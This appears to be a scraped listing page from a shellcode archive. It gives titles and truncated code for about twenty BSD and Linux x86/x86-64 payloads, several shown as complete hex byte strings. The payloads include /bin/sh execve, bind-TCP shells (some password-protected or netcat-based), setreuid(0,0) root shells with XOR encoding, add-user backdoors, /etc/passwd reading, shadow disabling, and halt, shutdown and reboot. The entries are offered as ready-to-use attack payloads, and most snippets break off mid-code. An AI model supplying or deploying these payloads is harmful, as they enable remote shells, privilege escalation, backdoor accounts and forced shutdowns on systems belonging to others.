BSD/x86 - execve (/bin/sh) Shellcode (28 bytes)

/ simply execvebinsh shellcode in 28 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd" "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void...

Linux/x86 - Disable Shadowing Shellcode (42 bytes)

include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER than push and pop! "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov al,0bh "\x52" //push edx /Termina la cadena con un 0 "\x68\x63\x6f\x6e\x76" //push dword...

Linux/x86 - exit(0) / exit(1) Shellcode (3/4 bytes)

include const char shellcode= "\x40" // inc %eax // "\x43" // inc %ebx "\xcd\x80"; // int $0x80 int main printf "\n+ Yet conditional %eax==0 Linux/x86 exit0 3 bytes or exit1 4 bytes" "\n+ Date: 18/06/2009" "\n+ Author: TheWorm" "\n\n+ Shellcode Size: %d bytes\n\n", sizeofshellcode-1; void...

Linux/x86 - execve(/sbin/halt,/sbin/halt) Shellcode (27 bytes)

include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x66\x68\x6c\x74" // pushw $0x746c "\x68\x6e\x2f\x68\x61" // push $0x61682f6e "\x68\x2f\x73\x62\x69" // push $0x6962732f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx...

Linux/x86 - execve(/sbin/shutdown,/sbin/shutdown 0) Shellcode (36 bytes)

include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x64\x6f\x77\x6e" // push $0x6e776f64 "\x68\x73\x68\x75\x74" // push $0x74756873 "\x68\x69\x6e\x2f\x2f" // push $0x2f2f6e69 "\x68\x2f\x2f\x73\x62" // push $0x62732f2f "\x89\xe3" // mov...

Linux/x86-64 - Read /etc/passwd + Write To /tmp/outfile Shellcode (105 bytes)

; =================================================================== ; Optimized version of shellcode at: ; http://shell-storm.org/shellcode/files/shellcode-867.php ; Author: SLAE64-1351 Keyman ; Date: 14/09/2014 ; ; Length: 105 bytes got shorter by 13 bytes ; ; What's new is that some...

Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd Shellcode (273 bytes)

; shellcode name adduserpassword ; Author : Christophe G SLAE64-1337 ; Len : 273 bytes ; Language : Nasm ; "name = pwned ; pass = $pass$" ; add user and password with echo cmd ; tested kali linux , kernel 3.12 global start start: jmp short findaddress realstart: pop rdi xor byte rdi + 7 , 0x41 ;...

Linux/x86-64 - Bind TCP (1337/TCP) Netcat (/bin/nc) Shell (/bin/sh) Shellcode (131 bytes)

; Title: Shellcode linux/x86-64 bind-shell with netcat ; Author : Gaussillusion ; Len : 131 bytes ; Language : Nasm BITS 64 xor rdx,rdx mov rdi,0x636e2f6e69622fff shr rdi,0x08 push rdi mov rdi,rsp mov rcx,0x68732f6e69622fff shr rcx,0x08 push rcx mov rcx,rsp mov rbx,0x652dffffffffffff shr rbx,0x30...

OpenBSD/x86 - reboot() Shellcode (15 bytes)

// ----------bsd/x86 reboot shellcode----------------- // AUTHOR : beosroot // INFO : OpenBSD x86 reboot shellcode // EMAIL : email protected // email protected char shellcode = "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80"; int main int ret = int &ret + 2; ret = intshellcode; //...

Linux/x86-64 - Bind TCP Stager (4444/TCP) + Egghunter Shellcode (157 bytes)

;Exam Assignment 3 ;implementation of egghunter ;Default egg = "deaddead" ; ;If connected the stager check of egg , if present execute the code ; ;You can send a maximum of 255 bytes egg + code ; ;if no egg , shellcode exit ; ;Christophe G SLAE64 - 1337 ; global start jmp short start startcode :...

Linux/x86-64 - Bind TCP (31337/TCP) Shell Shellcode (150 bytes)

/ Title : tcpbindshell 150 bytes Date : 04 October 2013 Author : Russell Willis Testd on: Linux/x8664 SMP Debian 3.2.46-1+deb7u1 x8664 GNU/Linux $ objdump -D tcpbindshell -M intel tcpbindshell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080: 48 31 c0 xor rax,rax...

Linux/x86-64 - Read /etc/passwd Shellcode (82 bytes)

BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x8664 Shellcode ; Shellcode size 82 bytes global start section .text start: jmp pushfilename readfile: ; syscall open file pop rdi ; pop path value ; NULL byte fix xor byte rdi + 11, 0x41 xor rax, rax add al, 2 xor rsi, rsi ; s...

Linux/x86-64 - setreuid(0,0) + execve(/bin/ash,NULL,NULL) + XOR Encoded Shellcode (85 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/ash",NULL,NULL + XOR encoded - 85 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - Add User (pwned/$pass$) Using open,write,close Shellcode (358 bytes)

; shellcode name adduserpasswordJCPopen,write,close ; Author : Christophe G SLAE64-1337 ; Len : 358 bytes ; Language : Nasm ; "name = pwned ; pass = $pass$" ; add user and password with open,write,close ; tested kali linux , kernel 3.12 global start start: xor rax , rax push rax pop rsi push rax ...

Linux/x86-64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (hell) Shellcode (147 bytes)

; =================================================================== ; Password Protected Bind Shell ; Author: SLAE64-1351 Keyman ; Date: 03/09/2014 ; ; Shellcode length: 147 bytes ; ; Description: ; ; Simple bind shell listens on port 4444 by default with 4 bytes ; password protection. Using a ...

Linux/x86-64 - setreuid(0,0) + execve(/bin/csh, [/bin/csh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/csh", "/bin/csh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (doomedra) Shellcode (175 bytes)

/ ;Author - Andriy Brukhovetskyy - doomedraven - SLAEx64 - 1322 ;175 bytes ;http://www.doomedraven.com/2014/05/slaex64-shellbindtcp-with-passcode.html global start section .text start: push byte 0x29 ; 41 - socket syscall pop rax push byte 0x02 ; AFINET pop rdi push byte 0x01 ; SOCKSTREAM pop rsi...

Linux/x86-64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (Password) Shellcode (173 bytes)

;BindTCP 4444 with password ; ;Default password = Password ; ;If connected the shellcode no prompt for password ; ;Enter password directly and you get the bin/sh shell; ;if password is wrong the shellcode exit: ; ;Christophe G SLAE64 - 1337 size 173 bytes ; global start start: ; sock =...

Linux/x86-64 - Bind TCP (Random TCP Port) Shell Shellcode (57 bytes)

/ Shell Bind TCP Random Port Shellcode - C Language - Linux/x8664 Copyright C 2013 Geyslan G. Bem, Hacking bits http://hackingbits.com email protected This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free...

Linux/x86-64 - setreuid(0,0) + execve(/bin/zsh, [/bin/zsh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/zsh", "/bin/zsh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...